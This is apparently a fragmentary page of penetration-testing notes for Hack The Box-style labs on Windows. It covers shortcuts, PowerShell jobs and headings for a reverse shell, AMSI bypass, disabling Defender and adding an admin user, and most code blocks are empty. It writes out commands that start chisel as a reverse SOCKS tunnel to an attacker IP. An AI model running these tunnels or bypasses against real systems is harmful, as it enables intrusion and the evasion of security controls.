Windows

  1. Go to the folder your program is installed in, right click, select Send to > Desktop (Create shortcut)

  2. Click Win+R and enter %ProgramData%\Microsoft\Windows\Start Menu to open the Start Menu folder in Windows Explorer

  3. Move your new shortcut from the desktop to the Start Menu folder

  4. If desired select the moved shortcut and press F2 to rename and remove the - Shortcut text

srcarrow-up-right

Cronjobs

Start-Job -ScriptBlock { & "./program.exe"; }

Start-Job -ScriptBlock { & "./chisel.exe" client 10.10.14.43:36000 R:socks; }

$job = Start-Job -ScriptBlock {
    & "./chisel.exe" client 10.10.14.43:36000 R:socks
}

Enable Web Dav

Source: HOW TO START A “TRIGGER START” WINDOWS SERVICE WITH POWERSHELL WITHOUT ELEVATION / ADMIN RIGHTSarrow-up-right

Golang Reverse Shell

Author

Repo: https://github.com/gwillgues/Reverse-Shells.gitarrow-up-right Revshell.go: https://github.com/gwillgues/Reverse-Shells/blob/main/revshell.goarrow-up-right

Code

Build

Build for Windows:

Build for Linux:

Get product versions

Check if UAC is active

Watch File Changes

Create Shortcut (lnk)

Bypass AMSI

Disable Defender

Source: https://www.liberiangeek.net/2023/11/how-to-disable-windows-defender-using-powershell/arrow-up-right

Get flags (HTB)

Create new admin user

KRB_AP_ERR_SKEW (Clock skew too great)

nmap -sC {target} displays the following information:

Kerberos is time sensitive application and this median means a lot, without proper clock sync the service might not work as expected.

If you're Linux (Base metal) you can sync with ntpdate (Requires admin privs)

However if you're inside Virtual Machine this won't work, but we have information about SKEW.

Calculate the hour (without nmap)

faketime command can be used to bypass this restrcition.

Last updated